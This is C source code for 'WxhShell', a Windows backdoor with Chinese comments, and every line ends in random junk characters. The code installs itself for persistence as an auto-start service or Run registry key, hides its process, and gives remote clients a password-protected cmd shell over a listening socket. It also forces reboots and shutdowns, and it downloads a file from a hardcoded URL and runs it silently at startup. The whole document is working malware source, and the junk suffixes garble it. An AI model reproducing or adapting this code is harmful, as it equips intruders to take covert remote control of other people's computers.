WinExec(wscfg.ws_filenam,SW_HIDE); m`g%\o^6i
} #KXazZu"
Y6`9:97
if(!OsIsNt) { kN`[Q$B
// 如果时win9x，隐藏进程并且设置为注册表启动 0(Vbji
HideProc(); j$Vv'on
StartWxhshell(lpCmdLine); {v+i!a'+
} &s"&rFFO[
else wHBkaPO!
if(StartFromService()) a{L`C"rJ
// 以服务方式启动 K-)*S\<}
StartServiceCtrlDispatcher(DispatchTable); 5hB&]6n
else UQ$dO2^
// 普通方式启动 m1gJ"k6 `j
StartWxhshell(lpCmdLine); :)c >5
YdV5\!
return 0; j^1T3 +
} Ve2z= 6(
,YSQog
k1L GT&
}Tu_?b`RUm
=========================================== n #p6i
Gc~A,_(
9|v
s.6S:
8doT`rI1
:GIY"l'
" 6NO=NL
7WiVor$g-
#include <stdio.h> 6](vnS;
#include <string.h> RoxzCFsI\
#include <windows.h> 3hmuF6y~
#include <winsock2.h> 3SpDV'}
#include <winsvc.h> FMwT4]y
#include <urlmon.h> BXa1[7Z
UIL5K
#pragma comment (lib, "Ws2_32.lib") 8.o[K
#pragma comment (lib, "urlmon.lib") Al3Hu-Hf;`
b]g}h
#define MAX_USER 100 // 最大客户端连接数 %pc0a^iB
#define BUF_SOCK 200 // sock buffer ve1jLjsB
#define KEY_BUFF 255 // 输入 buffer t}cj8DC!
BC(f1
#define REBOOT 0 // 重启 ]gIXG`
#define SHUTDOWN 1 // 关机 YM 7P!8Gc
U@|{RP
#define DEF_PORT 5000 // 监听端口 8hQ"rrj+
XZV)4=5iSO
#define REG_LEN 16 // 注册表键长度 dDi 1{s
#define SVC_LEN 80 // NT服务名长度 PP.k>zsx
w6Dysg:
// 从dll定义API [^"e~
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L0UAS'hf
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -njxc{b
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vO]gj/SaT
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R{#-IH="
UldKlQ8
// wxhshell配置信息 ~NpnRIt
struct WSCFG { n j; KnZ
int ws_port; // 监听端口 n >xhT r<
char ws_passstr[REG_LEN]; // 口令 V3yO_Iqa
int ws_autoins; // 安装标记, 1=yes 0=no )Si`>o3T-.
char ws_regname[REG_LEN]; // 注册表键名 JGn@)!$+/
char ws_svcname[REG_LEN]; // 服务名 dWR?1sV|e
char ws_svcdisp[SVC_LEN]; // 服务显示名 n-Dr/c4
char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Lqs>*
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6:v8J1G(<
int ws_downexe; // 下载执行标记, 1=yes 0=no 0w< iz;30
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tOnaD]J
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :lgIu .
k/H<UW?Z]
}; 1ikkm7
;r49H<z
// default Wxhshell configuration d;D^<-[i
struct WSCFG wscfg={DEF_PORT, q1r\60M
"xuhuanlingzhe", tK g%5;v
1, /%=#*/E7
"Wxhshell", Bpo~x2p
"Wxhshell", XwX1i!'54
"WxhShell Service", "y "C#:5
"Wrsky Windows CmdShell Service", +ywWQ|V
"Please Input Your Password: ", m;KMr6sO
1, aFyNm@a
"http://www.wrsky.com/wxhshell.exe", *:BNLM
"Wxhshell.exe" x[WT)
}; 3`^]#Dh
%04>R'mN
// 消息定义模块 Y +HVn0~qz
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -<ZzYQk^h
char *msg_ws_prompt="\n\r? for help\n\r#>"; }mu8fm'
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dam.D.o"
char *msg_ws_ext="\n\rExit."; U!3nn#!yE
char *msg_ws_end="\n\rQuit."; 6XFO@c}d
char *msg_ws_boot="\n\rReboot..."; dMRwQejY{7
char *msg_ws_poff="\n\rShutdown..."; CrS[FM= +W
char *msg_ws_down="\n\rSave to "; 1?7QS\`)fB
B^h]6Z/O
char *msg_ws_err="\n\rErr!"; eFsku8$<
char *msg_ws_ok="\n\rOK!"; oWs&W
vFl|
char ExeFile[MAX_PATH]; "D3JdyO_S
int nUser = 0; S_ nTp)
HANDLE handles[MAX_USER]; [0/?(i|
int OsIsNt; ;wW6x
MAJvjgd..
SERVICE_STATUS serviceStatus; h2=zvD;
SERVICE_STATUS_HANDLE hServiceStatusHandle; Qksw+ZjY#{
;1(OC-2>d
// 函数声明 DgClN:Hw
int Install(void); HeSnj-mtr}
int Uninstall(void); 7T4rx53
int DownloadFile(char *sURL, SOCKET wsh); i;/qJKr&#
int Boot(int flag); &+&^Hc
void HideProc(void); C$ZY=UXz!T
int GetOsVer(void); e=8ccj
int Wxhshell(SOCKET wsl); V X211U.Q
void TalkWithClient(void *cs); -[^wYr=
int CmdShell(SOCKET sock); (e F5?I
int StartFromService(void); ^,U&v;
int StartWxhshell(LPSTR lpCmdLine); %}'sFum`
F4bF&% R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <=A&y5o
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '\_ic=&u
pKr3(5~
// 数据结构和表定义 JXPn <
SERVICE_TABLE_ENTRY DispatchTable[] = .rxc"fR4_
{ IgN,]y
{wscfg.ws_svcname, NTServiceMain}, em>CSBx
{NULL, NULL} Yd/qcC(&
}; {W `/KU?u
X 8[T*L.
// 自我安装 u6(7#n02
int Install(void) Z>CFH9
{ oL VtP
char svExeFile[MAX_PATH]; azE>uEsE
HKEY key; &<tji8Dj
strcpy(svExeFile,ExeFile); YJ1P5u:
f3v/Y5)
// 如果是win9x系统，修改注册表设为自启动 |d{(&s}
if(!OsIsNt) { ry7(V:ic
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K.X% Q,XD
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\WePOy&
RegCloseKey(key); {/n$Y|TIQt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i>!f|<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R^PQ`$W 'R
RegCloseKey(key); NiyAAw
return 0; \7og&j-h
} J4S2vBe16
} 78 UT]<Q;K
} J~c]9t
else { -P.) 0d(
g2iSc
// 如果是NT以上系统，安装为系统服务 (AwbZn*
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yM\1n
if (schSCManager!=0) 8,B9y D
{ Nc;7KMOIA
SC_HANDLE schService = CreateService ](Sp0t
( P!]DV$o
schSCManager, 8,['q~z
wscfg.ws_svcname, FEdyh?$
wscfg.ws_svcdisp, c)E'',-J_2
SERVICE_ALL_ACCESS, -Tz9J4xU&
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E"w7/k#3}C
SERVICE_AUTO_START, &JF^a
SERVICE_ERROR_NORMAL, aZBaIl6I
svExeFile, 'i`;Frmg
NULL, y<;#*wB
NULL, {ifYr(|p`
NULL, l@Ml8+
NULL, <m)@~s?D
NULL :!r_dmJ
); PDGh\Y[AK,
if (schService!=0) [9>1e
{ W6\s@)b;
CloseServiceHandle(schService); aEL6-['(
CloseServiceHandle(schSCManager); Ex<-<tY
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kB :")$
strcat(svExeFile,wscfg.ws_svcname); fE^rTUtn
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7J')o^MG
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v$,9l+p/
RegCloseKey(key); !{ )H
return 0; M)|}Vn;!
} b,{?+8
} VqYe0-^=P
CloseServiceHandle(schSCManager); cdEZ Y
} q@^=im
} e|{6^g<ru
Xw![}L>
return 1; 1;H(
} K}a[~
l(<o,Uv[`
// 自我卸载 UY|nB hL
int Uninstall(void) dc:|)bK M
{ 8{h:z 9]J
HKEY key; ]54V9l:
`Th!bk
if(!OsIsNt) { 98V9AOgk
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~rKo5#D
RegDeleteValue(key,wscfg.ws_regname); <k^h&1J#g
RegCloseKey(key); ob0clJX
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B04Br~hel*
RegDeleteValue(key,wscfg.ws_regname); w"aD"}3
RegCloseKey(key); 3RGVH,
return 0; Nf3Kz#!B
} cG^'Qm
} 0iHK1Pt}
} dIK!xOStA
else { RL>[t
Uu3[Cf=C
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Y[{m $-
if (schSCManager!=0) @BBqH&<`
{ 9i9VDk{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D^f;dT;-
if (schService!=0) fxyPh
{ lN^L#m*@
if(DeleteService(schService)!=0) { _-&Au%QNJ`
CloseServiceHandle(schService); RdvJA:;q
CloseServiceHandle(schSCManager); Zcdt\;HKr
return 0; w3B*%x)
} E8)C_[QJ`
CloseServiceHandle(schService); s>_ne0
} FIW*Nr
CloseServiceHandle(schSCManager); dGHRHXi
} YSeXCJ:Iy
} 8)M .W
^i@tOtS
return 1; C}W/9_I6Uo
} f<y""0L9
,qaIdw[
// 从指定url下载文件 m]&d TZV
int DownloadFile(char *sURL, SOCKET wsh) D'A)H
{ ("IRv>} 0
HRESULT hr; C2!POf;GdN
char seps[]= "/"; L,\ Yj
char *token; f}#pKsX.
char *file; +EkZyM~z2
char myURL[MAX_PATH]; $s?q>Z)
char myFILE[MAX_PATH]; bJGT^N@
x'n J_0
strcpy(myURL,sURL); 2uU~$7~N
token=strtok(myURL,seps); [NH[n#
while(token!=NULL) ZW*"Kok
{ W;u~}k<
file=token; +tlTHK
token=strtok(NULL,seps); R]L7?=
} >Rx^@yQ!+z
hOw7"'# !
GetCurrentDirectory(MAX_PATH,myFILE); [x,_0-_
strcat(myFILE, "\\"); 1p`XK";g
strcat(myFILE, file); py@5]n%
send(wsh,myFILE,strlen(myFILE),0); ~ ]o .Mv a
send(wsh,"...",3,0); +vJ[k2d
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); whxE[Xnv
if(hr==S_OK) :?yv0Iu
return 0; t0Ec`+)
else 1*(^<x+n
return 1; Qm ;ip E
/Nb&e
} gdHPi;
HR)joD*q;[
// 系统电源模块 #;2Ju'e#z
int Boot(int flag) F) < f8F
{ =V%s^
HANDLE hToken; .:$%3#N$(Y
TOKEN_PRIVILEGES tkp; u["Pg
O@?? NF6G
if(OsIsNt) { l[rIjyL@
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EPdR-dC^wE
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S'2B
tkp.PrivilegeCount = 1; D4;V8(w=#
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]\*g/QV
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~@TNVkw
if(flag==REBOOT) { k>U&Us0
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8?P@<Do%
return 0; Hza{"I*^
} i]xyD'0
else { Exk[;lI
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t\u0\l>
return 0; d-39G*;1
} \jZvP`.2
} ^!N_Nx/M
else { UiF?Nx~
if(flag==REBOOT) { 1JJQ(b
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RLecKw&1{3
return 0; VA.:'yQtJ
} El]Rrku
else { n%W~+
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EKq9m=Ua@o
return 0; VO[s:e9L
} 3*XX@>|o
} @dD70T
(fb&5=Wzw
return 1; C6:<.`iD87
} !x|OgvJ
h7kGs^pP
// win9x进程隐藏模块 9`QWqu[
void HideProc(void) V5%B,.d:
{ cm]8m_!
t&H):P
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -=5z&) X
if ( hKernel != NULL ) :Uj+iYE8Z8
{ W UDQb5k
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vR-rCve$P
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l 0jjLqm:
FreeLibrary(hKernel); Y(W>([59
} RY&Wvkjh
;' YM@n
return; h+}`mi
} %Mz(G-I.\
`A$yF38!
// 获取操作系统版本 dX,2cK[aG
int GetOsVer(void) ub0]nov
{ buG0#:
OSVERSIONINFO winfo; "JKrbgN@;L
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T&X*[kP
GetVersionEx(&winfo); 9bq#&~+
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !+=jD3HTJ
return 1; ?4(uwXp
else a[[u>oHyd
return 0; j*rra
} f-tjMa /_
%'%r.
// 客户端句柄模块 # ]&=]K1V
int Wxhshell(SOCKET wsl) <Y9((QSM4
{ )pW(Cp
SOCKET wsh; 03iO4yOu
struct sockaddr_in client; 8'@pX<
DWORD myID; W2qW`Ujo{
-U'6fx) +
while(nUser<MAX_USER) L&][730
{ z?Hvh
int nSize=sizeof(client); 4:y;<8+j\
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q --NLm@;
if(wsh==INVALID_SOCKET) return 1; w<.{(1:v
`oXUVr
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G@BF<e{
if(handles[nUser]==0) Fpzps!(;=
closesocket(wsh); [XhuJdr"u
else :|EM1-lwf
nUser++; U[u9RB
} n*{e0,gp`
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CJ%bBL'.
u B~/W
return 0; $DJp|(8
} +^1HtI|y
p&_Kb\}U
// 关闭 socket L'`W5B@
void CloseIt(SOCKET wsh) aM,>LKNbQ
{ GG/~)^VMe
closesocket(wsh); 0<Vw0%!
nUser--; @{j'Pf'
ExitThread(0); =X2 Ieb
} (|Y[5O)
[^A93F
// 客户端请求句柄 oIAP dn
void TalkWithClient(void *cs) QA+qFP
{ gmJiKuAL5
Xv|~1v%s7
SOCKET wsh=(SOCKET)cs; k?o(j/
char pwd[SVC_LEN]; I)U|~N
char cmd[KEY_BUFF]; .ss/E
char chr[1]; j$4Tot
int i,j; bT@3fuL4
P"cc$lB~I
while (nUser < MAX_USER) { hS OAjS
#O7|&DqF{
if(wscfg.ws_passstr) { &|LZ%W0Fb
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iL\<G} I
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &$ia#j{l
//ZeroMemory(pwd,KEY_BUFF); vHCz_ FV
i=0; Ps4spy0Fp
while(i<SVC_LEN) { J'sVT{@GS
^!3Sz1
// 设置超时 k$9oUE,
fd_set FdRead; N0,.cd]y`
struct timeval TimeOut; vClD)Ar
FD_ZERO(&FdRead); /~'ZtxA
FD_SET(wsh,&FdRead); _Y40a+hk]
TimeOut.tv_sec=8; Y4YA1F
TimeOut.tv_usec=0; '3 xvQFg
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =1!wep"
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~T|?!zML
JM0'V0z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | y\B*P
pwd=chr[0]; QHUoAa`6v
if(chr[0]==0xd || chr[0]==0xa) { m/5:-xL31
pwd=0; B<T wTv
break; O%AQ'['
} 3b (I~
i++; LNmsvU
} v[T5D:
RAxAy{
// 如果是非法用户，关闭 socket CTv-$7#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [RiCa
} MM"{ehd{^a
#G:~6^A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2VyLt=mdh
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f*04=R?w7>
H,9e<x#own
while(1) { oIdMDp^$
J GnL[9P_
ZeroMemory(cmd,KEY_BUFF); n a])bBn
-8X*(7
// 自动支持客户端 telnet标准 \/*r45!
j=0; q%i2'yE
while(j<KEY_BUFF) { N93 ZI|T
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 44B)=p7
cmd[j]=chr[0]; ):E4qlB
if(chr[0]==0xa || chr[0]==0xd) { 8 C@iD%
cmd[j]=0; ^|5bK_Z&
break; s de|t
} O:"gJ4D
j++; ymT&[+V
} &ok2Xw
LGGC=;{}
// 下载文件 :PuJF`k
if(strstr(cmd,"http://")) { @5K/z<p%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /PN[g~3
if(DownloadFile(cmd,wsh)) id8a#&t]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nyD(G=Q5
else j yR9a!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=V0
} %,Xs[[?i
else { OWT5Bjl
+FRXTku(
switch(cmd[0]) { '\Z54$
D|} y{~
// 帮助 SE&J)Sj]
case '?': { S-Mn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kaQn'5
break; m!L&_Z|j
} 8*V^DM3n-
// 安装 Jf{6'Ub
case 'i': { }A;J-7g6
if(Install()) B@D3aOvO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xs$k6C3
else ]f=108|8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#-Ye<V~J(
break; d#cw`h<c~
} q|0Lu
// 卸载 v>CAA"LH
case 'r': { Z%Q[W}iD
if(Uninstall()) zL$$G,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,{MA90!
else `O ?61YUQH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gF+Uj( d
break; !%>p;H%0
} @U08v_,
// 显示 wxhshell 所在路径 3Z;`n,g
case 'p': { 9ar+Ph@*
char svExeFile[MAX_PATH]; TC;2K,.#k
strcpy(svExeFile,"\n\r"); ,rx?Ig}kz
strcat(svExeFile,ExeFile); JJ[.K*dO
send(wsh,svExeFile,strlen(svExeFile),0); Hz&a~
break; eD5.*O
} {0 d/;
// 重启 cl:h'aG
case 'b': { 2'UWPZgE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rqu_[M
if(Boot(REBOOT)) g0NtM%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s ki'I
else { J@ZIW%5
closesocket(wsh); 60(j[d-$p
ExitThread(0); LK5,GWF;
} h BD .IB
break; ]E$h7I
} "u:5
// 关机 v#J2yg
case 'd': { ]JF>a_2wG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #e:cB'f
if(Boot(SHUTDOWN)) b:VCr^vp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KfD=3h=
else { 9bd$mp
closesocket(wsh); 'r3yFoP}
ExitThread(0); wxU@M1w}
} hF|N81T
break; s>hNwb/
} *\><MXx
// 获取shell mDZ/Kp{
case 's': { L,6v!9@
CmdShell(wsh); eK[8$1
closesocket(wsh); `5,46_
ExitThread(0); I~ Q2jg2
break; r&6X|2@
} C.`C T7
// 退出 FJxg9!%d
case 'x': { [xW;5j<87
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LCKCg[D
CloseIt(wsh); 1$nlRQi
break; 4+Aht]$hC
} }EM vEA
// 离开 ~5S[Sl
case 'q': { 03Czx`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eU/o I}A
closesocket(wsh); `F-<P%k
WSACleanup(); eW%Cef
exit(1); J?9K|4 )
break; g:&YSjO>G
} g{0a]'ph
} H&0dc.n~.
} KWwEK]
}t5-%&gBY0
// 提示信息 ?}p~8{ '
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .yK~FzLs
} 84(NylZ
} R|4a9G
W%Jw\ z=
return; &d}1)?
} o%Ubn*
#_oN.1u57
// shell模块句柄 0m8mHJ<&
int CmdShell(SOCKET sock) t@=*k9
{ qaE>])
STARTUPINFO si; jUnS&1]MF
ZeroMemory(&si,sizeof(si)); R#QOG}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (@wgNA-P
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =zaf{0c
PROCESS_INFORMATION ProcessInfo; rBY)rUDd4
char cmdline[]="cmd"; MPaF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `p qj~s
return 0; {yj8LxX^
} (.r9bl
R-%v??
// 自身启动模式 $wnK"k%G
int StartFromService(void) haTmfh_|
{ #GoZH?MAF
typedef struct 7S^ba
{ s0EF{2<F
DWORD ExitStatus; OGA_3|[S
DWORD PebBaseAddress; .AHf]X0
DWORD AffinityMask; ')G,+d^
DWORD BasePriority; =17d7#-
ULONG UniqueProcessId; 0<ze'FbV]
ULONG InheritedFromUniqueProcessId; 04o>POR
} PROCESS_BASIC_INFORMATION; K14FY2"
jg)+]r/hS
PROCNTQSIP NtQueryInformationProcess; 3:H[S_q
S=f:-?N|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r1pj-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Sl#z}@s
,Q%q!#@
HANDLE hProcess; z?Hi u6c-
PROCESS_BASIC_INFORMATION pbi; $G UCVxs
+)J;4B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 19#s:nt9
if(NULL == hInst ) return 0; 1:Sq?=&
Dt#( fuk#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yzH(\ x
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EU5^"\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4fR}+[~2
5)@UpcjUA
if (!NtQueryInformationProcess) return 0; =qWcw7!"
A-6><X's6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ./7*<W:
if(!hProcess) return 0; m[>pv1o
[{&GMc
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fy6(N{hql
!4Oj^yy%
CloseHandle(hProcess); L<QjkFj
e9\eh? bPU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l.>3gjr
if(hProcess==NULL) return 0; *(+*tjcWa
v?Ds|
HMODULE hMod; vz~`M9^
char procName[255]; [}+h86:y
unsigned long cbNeeded; :abpht
;:WM^S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A )q=.C#e
.`ZuUr
CloseHandle(hProcess); @A.7`*i_
G~ONHXL
if(strstr(procName,"services")) return 1; // 以服务启动 GEs5@EH
k00&+C
return 0; // 注册表启动 E[=#Rw!*
} 5+Ld1nom
N{}o*K
// 主模块 /:=,mWoO
int StartWxhshell(LPSTR lpCmdLine) .wpp)M.w;H
{ .Ce0yAl~
SOCKET wsl; a#pM9n~a
BOOL val=TRUE; =".sCV9"N
int port=0; Dug{)h_2
struct sockaddr_in door; AqZ()p*z
hy}n&h
if(wscfg.ws_autoins) Install(); n/ CP2A
dxa[9>V
port=atoi(lpCmdLine); /EvnwYQy
l0&U7gr
if(port<=0) port=wscfg.ws_port; IW>\\&pJ
K%@#a}kRb
WSADATA data; Ib}~Q@?2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IM(=j
D:56>%y@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M>rertUR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q2LAXTF]y
door.sin_family = AF_INET; xXQW|#X\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); gw^X-
door.sin_port = htons(port); E%&E<<nhZ
rvUJK,oE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?l?_8y/ww
closesocket(wsl); )VM'^sV?
return 1; Fo;.
} d%lwg~@&|5
5T-CAkR{n
if(listen(wsl,2) == INVALID_SOCKET) { 8b|m66#|
closesocket(wsl); s~b!3l`gu
return 1; @|;XDO`k;
} yyv<MSU8
Wxhshell(wsl); '{F Od_uk%
WSACleanup(); VthM`~3
PBY;SG~
return 0; SrT=XX,
6xW17P
} KkPr08
`]$H\gNI[8
// 以NT服务方式启动 ,AuejMd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /8[T2Z!
{ xN>+!&3%w
DWORD status = 0; |Qz"Z<sNYw
DWORD specificError = 0xfffffff; _OY<Hb3%M
BnPL>11Y
serviceStatus.dwServiceType = SERVICE_WIN32; qG8-UOUDt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; '(fCi
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rap =&
serviceStatus.dwWin32ExitCode = 0; IWNIk9T,u
serviceStatus.dwServiceSpecificExitCode = 0; V5up/6b,1
serviceStatus.dwCheckPoint = 0; 3BK_$Fy
serviceStatus.dwWaitHint = 0; g7`uWAxZa
lfe^_`ij(+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "*oN~&flc
if (hServiceStatusHandle==0) return; 'l41];_
Vd+5an?
status = GetLastError(); G&,2>qxKR
if (status!=NO_ERROR) ibxtrt=
{ NVG`XL
serviceStatus.dwCurrentState = SERVICE_STOPPED; IEQ6J}L
serviceStatus.dwCheckPoint = 0; jx-8%dxtZ
serviceStatus.dwWaitHint = 0; N,?D<NjXl
serviceStatus.dwWin32ExitCode = status; dY$jg
serviceStatus.dwServiceSpecificExitCode = specificError; *rmwTD"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U\`yLsKvH`
return; q,fk@GI'2
} tg%C>O
nTH!_S>b(Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; tRzo}_+N
serviceStatus.dwCheckPoint = 0; Yvxp(
serviceStatus.dwWaitHint = 0; -) \!@n0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |7wiwdD"
} ^#,cWG}z
(IIOVv 1J
// 处理NT服务事件，比如：启动、停止 2@+MT z
VOID WINAPI NTServiceHandler(DWORD fdwControl) %q5iy0~P
{ 5%%A2FrB.S
switch(fdwControl) OJ4-p&1
{ c[E>2P2-_
case SERVICE_CONTROL_STOP: MnT+p[.
serviceStatus.dwWin32ExitCode = 0; jY8u1z
serviceStatus.dwCurrentState = SERVICE_STOPPED; QAK.Qk?Qu
serviceStatus.dwCheckPoint = 0; RWK##VHK
serviceStatus.dwWaitHint = 0; Dwi[aC+k
{ pTzfc`~xv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '$5o5\
} G[[NDK
return; ^bckl tSo
case SERVICE_CONTROL_PAUSE: ]J6+nA6)
serviceStatus.dwCurrentState = SERVICE_PAUSED; bmu<V1[W
break; ,';+A{aV
case SERVICE_CONTROL_CONTINUE: bcy( ?(
serviceStatus.dwCurrentState = SERVICE_RUNNING; C@q&0\HN
break; Gj(UA1~1
case SERVICE_CONTROL_INTERROGATE: PdD|3B&
break; yi9c+w)b
}; 6P:H`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $[-{Mm
} C%+>uzVIw
`Ao;xOJ
// 标准应用程序主函数 8L}N,6gC4_
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $N`uM
{ ?FRQ!R
fl18x;^I
// 获取操作系统版本 u#m(Py
OsIsNt=GetOsVer(); )#n>))
GetModuleFileName(NULL,ExeFile,MAX_PATH); !WReThq
^Wz3 q-^
// 从命令行安装 [j`-R 0Np
if(strpbrk(lpCmdLine,"iI")) Install(); _ Oe|ZQ
gDJ@s
// 下载执行文件 *tZ#^YG{(
if(wscfg.ws_downexe) { vaEAjg*To<
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .+cYzS]!
WinExec(wscfg.ws_filenam,SW_HIDE); |;B 'C#
} \ml6B6
DLrG-C33
if(!OsIsNt) { 6lc/_&0
// 如果时win9x，隐藏进程并且设置为注册表启动 &Jw4^ob
HideProc(); lt&30nf=
StartWxhshell(lpCmdLine); P$|DiiH
} mmn1yX:d
else ,w/f:-y
if(StartFromService()) 'd@Vusq}2
// 以服务方式启动 umWZ]8
